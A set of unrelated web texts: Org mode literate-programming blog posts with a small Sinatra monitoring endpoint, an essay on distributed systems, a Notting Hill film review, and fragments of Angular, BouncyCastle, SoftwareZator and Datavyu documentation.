server -- [2014-12-11 22:56:42] INFO ruby 2.1.2 (2014-05-08) [x86_64-darwin11.0]
server -- [2014-12-11 22:56:42] INFO WEBrick::HTTPServer#start: pid=71848 port=9292
server -- <IP_ADDRESS> - - [11/Dec/2014 22:56:42] "GET /vars HTTP/1.1" 200 110 0.0527
curl -- Uptime:
curl -- 22:56 up 4 days, 12:07, 5 users, load averages: 0.78 0.84 0.76
curl --
curl --
curl -- ESTABLISHED connections:
curl -- 12
curl --
curl --
server -- <IP_ADDRESS> - - [11/Dec/2014 22:56:43] "GET /vars HTTP/1.1" 200 110 0.0210
curl -- Uptime:
curl -- 22:56 up 4 days, 12:07, 5 users, load averages: 0.78 0.84 0.76
curl --
curl --
curl -- ESTABLISHED connections:
curl -- 12
curl --
curl --
まとめ
Org modeはとても便利です！皆さんぜひお試しください。
しかも、Githubさんが org-rubyを使って .org
ファイルをHTMLに変換してくれるのです。
Ruby の Org modeパーサはまだOrg mode のすべての機能に追いついていませんが、
私がある程度メンテナンスしています。もしOrg Rubyに何かの問題があれば、
こちらに issue を発行していただければと思います。 :)
(そして、日本語が間違っている場合、こちらに PR ください…)
12 Dec 2014
Most people that have heard about Org mode are aware that
it is a tool meant for creating TODO
lists, taking notes,
and even doing documentation to some extent.
What is not immediately clear about Org mode is that it is a very
powerful tool for doing literate programming and a comfortable
environment for working with active documents.
Rather than explain the ideas one by one, I will give a more
practical example of what it is possible to do with it.
Example: Creating a monitoring HTTP endpoint
Let’s create a simple HTTP endpoint with Sinatra which
will respond with some information about the host where it is running,
like its uptime
and the number of established connections.
Requirements
What we want is basically the output of the following commands:
…which will show something like this:
20:37 up 4 days, 9:48, 5 users, load averages: 0.67 0.86 1.11
And:
netstat -an | grep ESTABLISHED | wc -l
which shows a number:
The result from both commands would be aggregated into
the response sent by the the server when we request /vars
:
Result:
Uptime:
20:37 up 4 days, 9:48, 5 users, load averages: 0.67 0.86 1.11
ESTABLISHED connections: 14
Preparation
We will start by creating a couple of folders, one for the content
we write in Org, and another one for the actual implementation.
mkdir -p org
mkdir -p src
touch readme.org
(The readme.org
file is of course optional, but still a good practice to follow.)
In the end, our directory structure will look something like this:
.
├── org
│ ├── app.org
│ └── run.org
├── readme.org
├── src
│ ├── Gemfile
│ ├── app.rb
│ └── config.ru
Implementation
Most of the contents of our application, we will develop within an
org/app.org
file.
touch org/app.org
Prototyping phase
Usually, while developing a program we go into a REPL
to test out what
would eventually make it into the program.
With Org Babel though, it is possible to call the code blocks within
an Emacs buffer, so we can actually start prototyping using Org mode.
Each time we press C-c C-c
on top of the code block, the results
would be refreshed:
*** Notes on how to get the results
We could use something simple like:
#+begin_src ruby :results output code
s = <<VARS
Uptime:
#{`uptime`}
ESTABLISHED connections:
#{`netstat -an | grep ESTABLISHED | wc -l`}
VARS
puts s
#+end_src
#+RESULTS:
#+BEGIN_SRC ruby
Uptime:
22:23 up 4 days, 11:34, 5 users, load averages: 0.58 0.46 0.30
ESTABLISHED connections:
8
#+END_SRC
Using :tangle
to create the files of the program
We can have a code block be tangled into a file by using the
:tangle
switch argument. For example, we can define the Gemfile
and config.ru
files within an Org mode buffer like this:
Dependencies from the app, just sinatra and webrick for the server is ok for now.
#+BEGIN_SRC ruby :tangle src/Gemfile
gem 'sinatra'
#+END_SRC
Needed to start the Sinatra application:
#+BEGIN_SRC ruby :tangle src/config.ru
require './app.rb'
run Sinatra::Application
#+END_SRC
Full example
The Sinatra application would then look something like this.
From Emacs, we can either press C-c C-v t
or C-c C-v C-t
,
(M-x org-babel-tangle
also does it) to tangle the web of
code blocks to their respective files.
#+TITLE: Monitoring HTTP endpoint
This is a simple Sinatra application that provides
the following endpoints:
‐ =/= :: which responds =OK= in case all is good with the server.
‐ =/vars= :: to get info about the system
** Bootstrapping the app
*** Gemfile
Dependencies from the app, just sinatra and webrick for now is ok.
#+BEGIN_SRC ruby :tangle src/Gemfile
gem 'sinatra'
#+END_SRC
*** Config.ru
Needed to start the sinatra application
#+BEGIN_SRC ruby :tangle src/config.ru
require './app.rb'
run Sinatra::Application
#+END_SRC
** The App
*** Import dependencies
#+BEGIN_SRC ruby :tangle src/app.rb
require 'sinatra'
#+END_SRC
*** =/= endpoint
Just respond with =OK=.
#+BEGIN_SRC ruby :tangle src/app.rb
get '/' do
'OK'
end
#+END_SRC
*** =/vars= endpoint
Respond with info about the system:
#+BEGIN_SRC ruby :tangle src/app.rb
get '/vars' do
r = <<VARS
Uptime:
#{`uptime`}
ESTABLISHED connections:
#{`netstat -an | grep ESTABLISHED | wc -l`}
VARS
r
end
#+END_SRC
Running it
Now that, we have defined the program, it would be also helpful to
define how to actually run it. We will write this in a org/run.org
file.
Note how we are including the org/app.org
application as a
dependency so that in case of changes those code blocks become tangled
as well.
#+TITLE: Running the Application
#+include: "org/app.org"
** Run it
To run it, we will need to get the dependencies first,
and then start it with bundler:
#+name: server
#+BEGIN_SRC sh :dir src
bundle install
bundle exec rackup
#+END_SRC
Now let's send some requests to it:
#+name: curl
#+BEGIN_SRC sh :wait 1
while true; do
curl <IP_ADDRESS>:9292/vars 2> /dev/null
sleep 1
done
#+END_SRC
Here we are giving the code block a #+name:
, doing this make it
possible to reuse the code block later on. I made a small gem that
makes it possible to run these kind of blocks when they have a name.
gem install org-converge
org-run org/run.org
The output would look like this:
org-run org/run.org
...
Running code blocks now! (2 runnable blocks found in total)
server -- started with pid 71840
curl -- started with pid 71841
server -- Using rack 1.5.2
server -- Using rack-protection 1.5.3
server -- Using tilt 1.4.1
server -- Using sinatra 1.4.5
server -- Using bundler 1.7.1
server -- Your bundle is complete!
server -- Use `bundle show [gemname]` to see where a bundled gem is installed.
server -- [2014-12-11 22:56:42] INFO WEBrick 1.3.1
server -- [2014-12-11 22:56:42] INFO ruby 2.1.2 (2014-05-08) [x86_64-darwin11.0]
server -- [2014-12-11 22:56:42] INFO WEBrick::HTTPServer#start: pid=71848 port=9292
server -- <IP_ADDRESS> - - [11/Dec/2014 22:56:42] "GET /vars HTTP/1.1" 200 110 0.0527
curl -- Uptime:
curl -- 22:56 up 4 days, 12:07, 5 users, load averages: 0.78 0.84 0.76
curl --
curl --
curl -- ESTABLISHED connections:
curl -- 12
curl --
curl --
server -- <IP_ADDRESS> - - [11/Dec/2014 22:56:43] "GET /vars HTTP/1.1" 200 110 0.0210
curl -- Uptime:
curl -- 22:56 up 4 days, 12:07, 5 users, load averages: 0.78 0.84 0.76
curl --
curl --
curl -- ESTABLISHED connections:
curl -- 12
curl --
curl --
Final remarks
I think there is a lot of potential in the approach from Org mode
for Literate Programming, so it is worth a try.
Take a look at the concepts exposed by Knuth in his paper on the
matter, and you will find out that the core ideas about LP have not
shown its age.
These days, most of my development starts from an Org mode buffer
and it just continues there. With Org mode, you can basically start with a Readme
(c.f. Readme Driven Development), and then just contine doing the
full implementation of your source there in the same place, along with
your notes (but which are not exported).
At the same time, it makes up for very useful documentation for others
to pick up a project later on.
And also Org mode file rendering is supported by Github! In case of bugs,
please send me a ticket here.
08 Dec 2014
Distributed Systems are hard.
As a service grows popular, there inevitably comes the time that capability to scale is demanded from
a system, and while doing so it is required that the system has uptime.
As we go on tackling such issues, it results that we end up with a
distributed system that becomes increasingly complex and its
understanding requires an ongoing online computation of its state.
Under such a system, failures are a constant, and whether this failure
ends up in tragedy or not, depends on how well the platform developer
was prepared for such events.
Fig. 1. The CAT theorem (coined by Stan)
Then, what if while at handling this complexity, or a tragic event that ends up in firefighting,
(in your loneliest loneliness as Nietzche puts it),
a demon came up to you and reveal that it doesn’t
get any better? That there is no way around it,
and ”this life which you live must be lived by you once again and innumerable times more; and every pain and joy and thought and sigh must come again to you, all in the same sequence”.
Nietzche poses as the outcome of this thought experiment
one out of two possible choices: the individual either accepts it and becomes stronger
from the cognitive process triggered as a result of the tragedy (amor fati),
or the individual succumbs to what he calls Ressentiment.
The platform developer, by attempting to build and operate a
distributed system, will continuously be exposed to a set of challenges
that will end up with having to face this test of character.
Such as in life (which is itself some sort of distributed system too),
in a distributed system, tragedy is a constant. The CAP theorem & FPL result,
are just a couple of examples which show the constant tragedy that comes
along with operating distributed systems.
For the platform developer that does not succumb to ressentiment, what
lies ahead is easy to predict: it will reflect on the tragedy and use
the literature to improve the situation and in the end, succeed like
others have before in taming a system with many moving parts without
shying away from the difficult problems. Tackling and understanding the
tradeoffs around fault tolerance, high availability, distributed
agreement, etc… all lead to a living a good life for the platform
developer.
But what about the platform developer that succumbs to ressentiment?
Like the quote from Tolstoy goes:
All happy families are alike; each unhappy family is unhappy in its own way.
In my experience (and under my line of reasoning stated in the previous
paragraphs), when such thing happens it could be possible to see some
of the following behaviors below for example:
Cynism, Skepticism
We can avoid having to scale by keeping services small.
Instead of having shared infrastructure we could make everyone in the company run
a similar version of the same, then they have to take care of
running it. There is no need to have a platform even if we have
hundreds of nodes.
This platform developer has experienced the pains of having to operate
a distributed system. Microservices are hard, and maybe unnecessary if
complying to enough trade offs. It is ok to be uncompetitive in
terms of platform related efforts and just keeping it simple.
The platform developer keeps the level of automation such that there
is heavy partitioning and waste in the data center and tries to delegate
difficult issues to avoid tragedies around operating a complex system.
The sysadmin as practitioner of a slave morality
A developer either aware or unaware of the challenges of having to run
a distributed system may try to shield himself/herself of the issue.
As a result of the lack of empathy by the developer,
a platform developer may develop ressentiment towards the opressors,
that is the developers who lack empathy to the problem of tackling
scalability issues.
“Hell is other developers”
Ressentiment is to those that do not understand the situation in the
the data center, and to those heavy users who are causing the architecture
continue to grow.
The problem is not the platform, but the architecture of the application.
Had the application architechture been designed properly there wouldn’t be a need to have as many servers.
Or there could be ressentiment as well to those users who for analytics purposes capture everything and produce lots of data.
In case it is for auditing purposes, ressentiment then is towards those who audit.
The platform developer becomes more used to externalize issues that
could be fixed in the platform on the users rather than fixing them.
Conclusion
It is my believe then that, compared to other areas of software
development, there is a Tragic Sense of Life which
has to be acknowledged earlier on when faced with operating
a distributed system running in production, that is if one is set to the task of doing it correctly.
It is also my believe that even after much tragedy, a platform developer
with ressentiment still has chance to overcome it and attempt to
tackle the core issues of building a distributed system.
It takes start asking “Why?” and then proceed to start reading papers,
looking for someone else that has posed the same question
(many times these fundamental questions already have been answered decades ago…)
Links
Some links that have helped me out learning about distributed systems:
- Distributed Systems for fun and profit
-
I have found this book very useful to immerse in the basics of
working with distributed systems.
http://book.mixu.net/distsys/
- Distributed Systems Archaeology talk by Michael Bernstein
-
Another great talk by a man with an obsession which I can’t
recommend enough.
http://michaelrbernste.in/2013/11/22/distributed-systems-archaeology.html
- Papers we love
-
There are many great distributed systems related videos of the meetups available
http://paperswelove.org/
- A Brief Tour of FLP Impossibility
-
TL;DR;
“it’s not possible to say whether a processor has crashed or is simply taking a long time to respond.”
http://the-paper-trail.org/blog/a-brief-tour-of-flp-impossibility/
- The CAP Theorem
-
Paper itself can be found at Papers we love repo. But
the Distributed Systems for fun and profit book covers it in the
chapter 2 as well.
- Distributed systems theory for the distributed systems engineer
-
Great compilation of links
http://the-paper-trail.org/blog/distributed-systems-theory-for-the-distributed-systems-engineer/
04 Dec 2014
Like most Org mode users, I started using Org mode as a TODO list.
Though for a while now, the Org Babel mode has become an intrinsic
part of my flow as well, to the point that outside doing code reading
of other projects, I rarely visit files anymore and spend most of my
time within Org mode buffers.
In this post I will attempt to document such progression to this style
of using Org mode, and should also serve as a kind of tutorial for
those without familiarity to Org mode.
Basic elements of Org mode
Org mode has a ton of features, so rather than explaining
each one of the features of Org mode, I will describe what
are the building blocks that we can choose from
when authoring an Org mode document.
Some of the most basic elements of an Org mode document are:
- Org mode markup paragraphs
-
Similar to other markup languages, we can write text in /italics/, *bold*,
_underline_, =code= or ~verbatim~, and even super and subscript: n_1, n^2
- headlines and sections
-
A section in Org mode is started by a headline. Headlines start
with one or more asterisks.
* A headline
Paragraph within a /headline/
We can set a TODO state to a headline to define whether something
is done or not:
* TODO Need to do this!
* DONE Needed to do this!
- blocks
-
A block is how we group together a bunch of lines that are not
meant to be only paragraphs. Some of the builtin blocks that we can have
in Org mode are: src, example, verse, quote and html.
A block will start #+begin_...
and end with #+end_...
.
One of the coolest features of the Org mode code blocks is that
we can add metadata to them, such as which kind of language is
being used inside of it (in case of src an example code blocks).
#+begin_src ruby
"Hello world"
#+end_src
In order for syntax highlighting to work, it is needed to include
the following in the Emacs configuration file (or just eval it
during boot):
(setq org-src-fontify-natively t)
It is also required that the Emacs install has the special mode
for it.
- lists
-
A list can be an unordered, ordered or definition list:
- first level
Org mode /markup/
+ second level
1) third level
1. fourth level
- back to first level
+ a definition list ::
some definition
By putting empty brackets [ ]
, [/]
, or [%]
at the beginning of a list, it
can become a task list. Pressing C-c C-C
on an item would
update its value:
Before:
- [0/1] one
+ [ ] two
- [0%] three
* [ ] four
After:
- [1/1] one
+ [X] two
- [100%] three
* [X] four
- tables
-
An Org mode table:
| apples | 10 |
| oranges | 20 |
Tables in Org mode are very powerful. They are not meant to be
only for authoring tables, but they have spreadsheet
functionality as well. The following table would have its formulas
evaluated after pressing TAB on it:
Before:
| fruit | quantity | price per fruit | COST |
| apples | 10 | 5 | =$2 * $3 |
| oranges | 20 | 7 | =$2 * $3 |
| TOTAL | =vsum(@2..@3) | | |
After:
| fruit | quantity | price per fruit | COST |
| apples | 10 | 5 | 50 |
| oranges | 20 | 7 | 140 |
| TOTAL | 30 | | |
#+TBLFM: $2=vsum(@2..@3)::$4=$2 * $3
Basic usage of Org mode for TODO lists
At the beginning of my Org mode usage, my documents used to look like
this I think:
* TODO Reply email from Alice
** TODO Reply
Dear Alice...
* TODO Capacity planning
One of the features I first adopted is the use of CLOCKS
.
You can start a clock by pressing: C-c C-x TAB
,
then we you are done you clock out with C-c C-x C-o
.
Then you can use C-c C-x C-d
to check the total time spent.
* DONE Reply email from Alice
CLOCK: [2014-12-04 Thu 15:45]--[2014-12-04 Thu 15:50] => 0:05
,** DONE Reply
CLOCK: [2014-12-04 Thu 16:00]--[2014-12-04 Thu 17:00] => 1:00
Dear Alice...
,* TODO Capacity planning
Another helpful feature is narrowing down to a headline so that
other headlines are not shown. This can be done by pressing C-x n s
.
Having covered these basic I’ll go on to talk about Org Babel.
Start using Org mode for reproducible documents
The key thing about when using Org mode and for literate programming
is when you care about making things reproducible.
Eric Schulte paper has more background on how the project started: http://www.jstatsoft.org/v46/i03
In order to use Org Babel we first need to enable it. This is how my
.emacs
looks for this:
(setq org-src-fontify-natively t)
(setq org-confirm-babel-evaluate nil)
(org-babel-do-load-languages
'org-babel-load-languages
'((emacs-lisp . t)
(clojure . t)
(R . t)
(C . t)
(sh . t)
(ruby . t)
(python . t)
(js . t)
(dot . t)
(haskell . t)
(scala . t)
))
Note that in order for the above to work, there have to be major modes
in Emacs for those specific languages. Comment out or remove the
language that is not on your setup.
Making the document active by giving things a name
To adopt Org mode literate programming mode, we need to start
using #+name
on top of some Org mode elements. By doing this,
it is possible to reference later on to that part of the document.
For example we can have a code block and eval it with C-c C-c
:
#+BEGIN_SRC ruby
1 + 1
#+END_SRC
#+RESULTS:
: 2
But by giving it a name, we can reuse this code block:
#+name: sum
#+BEGIN_SRC ruby :var arg1=1 :var arg2=2
arg1 + arg2
#+END_SRC
#+RESULTS:
: 2
#+call: sum(10, 100)
#+RESULTS:
: 110
Or chain it with a table:
#+name: fruits
| apples | 10 |
| oranges | 20 |
#+name: show-fruits
#+BEGIN_SRC ruby :var fruitstable=fruits :results output code
fruits = Hash[fruitstable]
p fruits
#+END_SRC
#+RESULTS: show-fruits
#+BEGIN_SRC ruby
{"apples"=>10, "oranges"=>20}
#+END_SRC
To be continued…


Notting Hill 3 Stars (out of 4) Reviewed by Mac VerStandig<EMAIL_ADDRESS>http://www.moviereviews.org
The old saying is that you "shouldn't judge a book by its cover." Perhaps that is true in the field of fictional literature, and perhaps it is not. But it certainly doesn't hold true in Hollywood. Notting Hill, the first major motion picture from director Roger Michell, may not be overtly obvious from its title, but you needn't look much farther to discover what the production really is. The movie is a combination of the oldest, most proven plot in cinema, a love story; premium character humor; and top quality acting from two household names. This combination brings forth a brilliantly fun and beguiling film, that ranks among the best date films of the 90's. However, to quote the work itself, Notting Hill is "no Jane Austin."
Anna Scott (Julia Roberts) is an American actress at the top of her field. She is considered to be one of the movie business' top leading ladies, and is even on the cover of Newsweek. With all of her fame has come financial success as well. For her latest film she was compensated $15 million. But Anna is forlorn. Much as Woody Allen demonstrated in Celebrity, fame has certain aspects that are not so glorious. And as a sexual icon, Anna experiences them all. The tabloids prey on her like an eagle on its dinner, and privacy is the rarest of things. She even resorts to checking into hotels under cartoon characters' names.
William Thacker (Hugh Grant) is a prosaic British man. He lives in Notting Hill, England, where his largest claim to fame is probably his blue house. He has the absolutely mundane job of running a travel book store so small that for a celebrity to enter would be an extraordinary, unprecedented event.
Keeping with the tradition of nearly every romance in the history of cinema, the two protagonists meet via an unusual set of circumstances and fall madly in love. In this case, the events include spilled orange juice, a poorly written travel book, and a shoplifter who uses his trousers for assistance. However, unlike most films of this genre, the great obstacle standing between William and Anna for the two hours that the film occupies, is not someone else, or something else, but themselves. Notting Hill is the story of opposites attracting, then being forced to deal with the opposites and still create a nirvanic state. In this sense the production goes one step further than, and actually deals with the realities that follow.
Aside from being a wonderful romance, Notting Hill is a hilarious film. The humor is largely based on character traits, not punch line jokes, although some do find their way into the script. A good example is William's house maid, Spike (Rhys Ifans). His scraggly appearance mixed with the character's lack of responsibility make for a light, enjoyable moment every time he is on screen.
In order for a film of this nature to be successful, the acting must be stellar. Roberts and Grant make for an absolutely enchanting on screen duo. The two are different actors, one sporting an English accent and the other a perfect typecast for the pretty-girl-in-bad-industry role, as she displayed in Pretty Woman. The contrast makes their job of being opposites very simple. Everything from the looks they exchange before kissing to their use of the English language works perfectly for their roles. Although they have both done better work before, the two actors certainly don't slouch here.
A love story is a love story. Whether it be Bogart and Bergman, Grant and Roberts or the leads in a 3rd grade play, the plot is always the same. But with the finite amount of variance allowed, Notting Hill does stand out. Between the characters, the acting and the man-meet-woman plot, this film is a solid work. I promise Jane Austin is nowhere to be found here, and this is one that you can judge by its cover.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


| Client type: | {{client.client_type}} |
| Email: | {{client.email}} |
| Registered since: | {{client.createTimeStamp | date:'dd/MM/yyyy HH:mm:ss' }} |
| Description: | {{client.description}} |
| PESEL: | {{client.pesel}} |
| Nip: | {{client.nip}} |
| REGON: | {{client.regon}} |
| Trade: | {{client.trade}} |
| Type: | {{client.type}} |
| Website: | {{client.website}} |
| Status: | {{client.status}} |


| Constructor and Description |
|---|
X509Name(ASN1Sequence seq)
Constructs an X509 name
|
| Modifier and Type | Class and Description |
|---|---|
class |
BERSequence |
class |
DERSequence |
class |
LazyDERSequence |
| Modifier and Type | Method and Description |
|---|---|
static ASN1Sequence |
ASN1Sequence.getInstance(ASN1TaggedObject obj,
boolean explicit)
Return an ASN1 sequence from a tagged object.
|
static ASN1Sequence |
ASN1Sequence.getInstance(Object obj)
return an ASN1Sequence from the given object.
|
| Modifier and Type | Method and Description |
|---|---|
static BERConstructedOctetString |
BERConstructedOctetString.fromSequence(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
PKIHeaderBuilder |
PKIHeaderBuilder.setGeneralInfo(ASN1Sequence seqOfInfoTypeAndValue) |
| Constructor and Description |
|---|
PKIFreeText(ASN1Sequence seq) |
PKIStatusInfo(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
ASN1Sequence |
KeyAgreeRecipientInfo.getRecipientEncryptedKeys() |
| Constructor and Description |
|---|
Attribute(ASN1Sequence seq) |
AuthenticatedData(ASN1Sequence seq) |
AuthEnvelopedData(ASN1Sequence seq) |
CompressedData(ASN1Sequence seq) |
ContentInfo(ASN1Sequence seq) |
EncryptedContentInfo(ASN1Sequence seq) |
EnvelopedData(ASN1Sequence seq) |
IssuerAndSerialNumber(ASN1Sequence seq) |
KEKIdentifier(ASN1Sequence seq) |
KEKRecipientInfo(ASN1Sequence seq) |
KeyAgreeRecipientInfo(ASN1Sequence seq) |
KeyAgreeRecipientInfo(OriginatorIdentifierOrKey originator,
ASN1OctetString ukm,
AlgorithmIdentifier keyEncryptionAlgorithm,
ASN1Sequence recipientEncryptedKeys) |
KeyTransRecipientInfo(ASN1Sequence seq) |
OriginatorInfo(ASN1Sequence seq) |
OriginatorPublicKey(ASN1Sequence seq) |
OtherKeyAttribute(ASN1Sequence seq) |
OtherRecipientInfo(ASN1Sequence seq) |
PasswordRecipientInfo(ASN1Sequence seq) |
RecipientKeyIdentifier(ASN1Sequence seq) |
SignedData(ASN1Sequence seq) |
SignerInfo(ASN1Sequence seq) |
| Constructor and Description |
|---|
ECGOST3410ParamSetParameters(ASN1Sequence seq) |
GOST28147Parameters(ASN1Sequence seq) |
GOST3410ParamSetParameters(ASN1Sequence seq) |
GOST3410PublicKeyAlgParameters(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
ASN1Sequence |
SignerAttribute.getClaimedAttributes() |
ASN1Sequence |
CommitmentTypeIndication.getCommitmentTypeQualifier() |
ASN1Sequence |
SignerLocation.getPostalAddress() |
| Constructor and Description |
|---|
CommitmentTypeIndication(ASN1Sequence seq) |
CommitmentTypeIndication(DERObjectIdentifier commitmentTypeId,
ASN1Sequence commitmentTypeQualifier) |
CommitmentTypeQualifier(ASN1Sequence as)
Creates a new
CommitmentTypeQualifier instance. |
OtherRevVals(ASN1Sequence seq) |
SignaturePolicyId(ASN1Sequence seq) |
SignerAttribute(ASN1Sequence claimedAttributes) |
SignerLocation(ASN1Sequence seq) |
SignerLocation(DERUTF8String countryName,
DERUTF8String localityName,
ASN1Sequence postalAddress) |
SigPolicyQualifierInfo(ASN1Sequence seq) |
SigPolicyQualifiers(ASN1Sequence seq) |
SPUserNotice(ASN1Sequence seq) |
| Constructor and Description |
|---|
ESSCertID(ASN1Sequence seq)
constructor
|
ESSCertIDv2(ASN1Sequence seq) |
OtherCertID(ASN1Sequence seq)
constructor
|
OtherSigningCertificate(ASN1Sequence seq)
constructeurs
|
SigningCertificate(ASN1Sequence seq)
constructeurs
|
SigningCertificateV2(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
ASN1Sequence |
DeclarationOfMajority.fullAgeAtCountry() |
| Constructor and Description |
|---|
AdmissionSyntax(GeneralName admissionAuthority,
ASN1Sequence contentsOfAdmissions)
Constructor from given details.
|
| Constructor and Description |
|---|
CAST5CBCParameters(ASN1Sequence seq) |
IDEACBCPar(ASN1Sequence seq) |
| Constructor and Description |
|---|
PublicKeyAndChallenge(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
ASN1Sequence |
Signature.getCerts() |
ASN1Sequence |
BasicOCSPResponse.getCerts() |
ASN1Sequence |
TBSRequest.getRequestList() |
ASN1Sequence |
ResponseData.getResponses() |
| Constructor and Description |
|---|
ElGamalParameter(ASN1Sequence seq) |
| Constructor and Description |
|---|
Attribute(ASN1Sequence seq) |
AuthenticatedSafe(ASN1Sequence seq) |
CertBag(ASN1Sequence seq) |
CertificationRequest(ASN1Sequence seq) |
CertificationRequestInfo(ASN1Sequence seq) |
ContentInfo(ASN1Sequence seq) |
DHParameter(ASN1Sequence seq) |
EncryptedData(ASN1Sequence seq) |
EncryptedPrivateKeyInfo(ASN1Sequence seq) |
IssuerAndSerialNumber(ASN1Sequence seq) |
MacData(ASN1Sequence seq) |
PBEParameter(ASN1Sequence seq) |
PBES2Algorithms(ASN1Sequence obj)
Deprecated.
|
PBES2Parameters(ASN1Sequence obj) |
PBKDF2Params(ASN1Sequence seq) |
Pfx(ASN1Sequence seq) |
PKCS12PBEParams(ASN1Sequence seq) |
PrivateKeyInfo(ASN1Sequence seq) |
RC2CBCParameter(ASN1Sequence seq) |
RSAESOAEPparams(ASN1Sequence seq) |
RSAPrivateKeyStructure(ASN1Sequence seq) |
RSASSAPSSparams(ASN1Sequence seq) |
SafeBag(ASN1Sequence seq) |
SignedData(ASN1Sequence seq) |
SignerInfo(ASN1Sequence seq) |
| Constructor and Description |
|---|
ECPrivateKeyStructure(ASN1Sequence seq) |
| Constructor and Description |
|---|
SMIMECapabilities(ASN1Sequence seq) |
SMIMECapability(ASN1Sequence seq) |
| Constructor and Description |
|---|
Accuracy(ASN1Sequence seq) |
MessageImprint(ASN1Sequence seq) |
TimeStampReq(ASN1Sequence seq) |
TimeStampResp(ASN1Sequence seq) |
TSTInfo(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
ASN1Sequence |
AttributeCertificateInfo.getAttributes() |
ASN1Sequence |
NameConstraints.getExcludedSubtrees() |
ASN1Sequence |
NoticeReference.getNoticeNumbers() |
ASN1Sequence |
NameConstraints.getPermittedSubtrees() |
ASN1Sequence |
PolicyInformation.getPolicyQualifiers() |
| Modifier and Type | Method and Description |
|---|---|
void |
V2TBSCertListGenerator.addCRLEntry(ASN1Sequence crlEntry) |
| Constructor and Description |
|---|
BiometricData(ASN1Sequence seq) |
MonetaryValue(ASN1Sequence seq) |
QCStatement(ASN1Sequence seq) |
SemanticsInformation(ASN1Sequence seq) |
| Constructor and Description |
|---|
NameOrPseudonym(DirectoryString surname,
ASN1Sequence givenName)
Constructor from a given details.
|
| Constructor and Description |
|---|
KeySpecificInfo(ASN1Sequence seq) |
OtherInfo(ASN1Sequence seq) |
X9Curve(X9FieldID fieldID,
ASN1Sequence seq) |
X9ECParameters(ASN1Sequence seq) |
X9FieldID(ASN1Sequence seq) |
| Modifier and Type | Method and Description |
|---|---|
protected abstract ASN1Sequence |
KeyAgreeRecipientInfoGenerator.generateRecipientEncryptedKeys(AlgorithmIdentifier keyAgreeAlgorithm,
AlgorithmIdentifier keyEncAlgorithm,
GenericKey contentEncryptionKey) |
| Modifier and Type | Method and Description |
|---|---|
ASN1Sequence |
JceKeyAgreeRecipientInfoGenerator.generateRecipientEncryptedKeys(AlgorithmIdentifier keyAgreeAlgorithm,
AlgorithmIdentifier keyEncryptionAlgorithm,
GenericKey contentEncryptionKey) |
| Constructor and Description |
|---|
PKCS10CertificationRequest(ASN1Sequence sequence) |
| Constructor and Description |
|---|
NetscapeCertRequest(ASN1Sequence spkac) |
| Modifier and Type | Method and Description |
|---|---|
protected static Set |
CertPathValidatorUtilities.getQualifierSet(ASN1Sequence qualifiers) |
void |
PKIXNameConstraintValidator.checkExcludedDN(ASN1Sequence dns) |
void |
PKIXNameConstraintValidator.checkPermittedDN(ASN1Sequence dns) |
void |
PKIXNameConstraintValidator.intersectPermittedSubtree(ASN1Sequence permitted)
Updates the permitted set of these name constraints with the intersection
with the given subtree.
|
Copyright © 2015. All rights reserved.


Action : Add the representation of a printing control
This action is used to represent a control in the form of image in a page of a print stream previously created with the action New printing.
This action is very useful to add a control-type diagram in the printed page.
Parameters
| Parameters | Descriptions |
|---|---|
| Variable with the stream to print | Must be equal to a variable (not array) whose value is a print stream (the stream has been created and obtained by the action New printing). |
| Control to add | Lets you specify which control should be represented on the printing sheet. |
| Page number on which must it add the control | Must be equal to the page number at which flow control will be added. |
| Set the X position on the page | Must be equal to the horizontal position of control on the page. |
| Set the Y position on the page | Must be equal to the vertical position of control on the page. |
Mistake not to commit : For the parameters "Page number on which must it add the control", "Set the X position on the page" and "Set the Y position on the page", you can not use the resources of the project type and Picture type Other. Single resource of type text can be used.
Mistake not to commit : If you use variables in parameter "Page number on which must it add the control", "Set the X position on the page" or and "Set the Y position on the page", make sure that the type of value of each of these variables is text (String), or a numeric value (Integer, Decimal, Double). Indeed, only text can be used in these settings.
Note : To check the type of a value, use the action Get the type of a variable, in General category.
Return value
No value is returned by this action
Code Visual Basic.Net generated by SoftwareZator
If the parameter "Variable with the stream to print" is equal to "Your_Stream", that the parameter "Control to add" is equal to the resource "Your_Control", the page number is 1, the "X position on the page" is equal to 50, and the "Y position on the page" is equal to 100, the generated code will be as follows :
Your_Stream.SetDocument(Your_Control, 50, 100, 1)
Runtime errors
Sometimes a computer program encounters a problem during execution. Often, an error message is displayed. The table below allows you to determine why the error you encounter appears and how to correct it :
| Errors types | Descriptions | Resolve |
|---|---|---|
| System.ArgumentOutOfRangeException | This error occurs when the value of the parameter "Page number on which must it add the control" is less than 1. The problem is that you try to insert a control on a page whose index does not exist. | To correct this error, verify that the page number is supperior or equal to 1. |
Characteristic
| Type | Informations |
|---|---|
| Required level | Beginner |
| Category | Printing |
| Type of return value | {Nothing} |
| Works in the functions | Yes |
| Works in reporting zone | No |
| This action may receive children actions | No |


Add Cells to a Column¶
Populating a Datavyu column with cells is another common task that you can automate with scripts.
Suppose that you want to code behaviors within 1-minute long blocks. Rather than have the coder manually insert each cell, you can write a script that will insert a “block” cell every minute, with the onset set to the correct trial start time.
Set up the script and create the Datavyu column you will be working with into a Ruby variable. We’ll call it
block
here, but you can call it whatever you want to:require 'Datavyu_API.rb' begin # Creste the block column block = createColumn("block", "code")
Create the five cells using a loop.
Programming 101
Loops are types of code that tell Ruby to do something multiple times. Let’s break down the
for
loop from the following example for those who aren’t familiar with loops:for i in 0..4 <do stuff> end
Essentially, this says, “let
i
= 0, <do stuff>, then, fori
= 1, <do stuff>. Then again fori
= 2, fori
= 3, and fori
= 4. Once i = 4, stop doing stuff.” The0..4
represents “from 0 to 4, inclusive”.If you wanted to do something ten times, your loop could read
for i in 0..9
orfor i in 1..10
, orfor i in 99..108
.In this case, you will use the value of
i
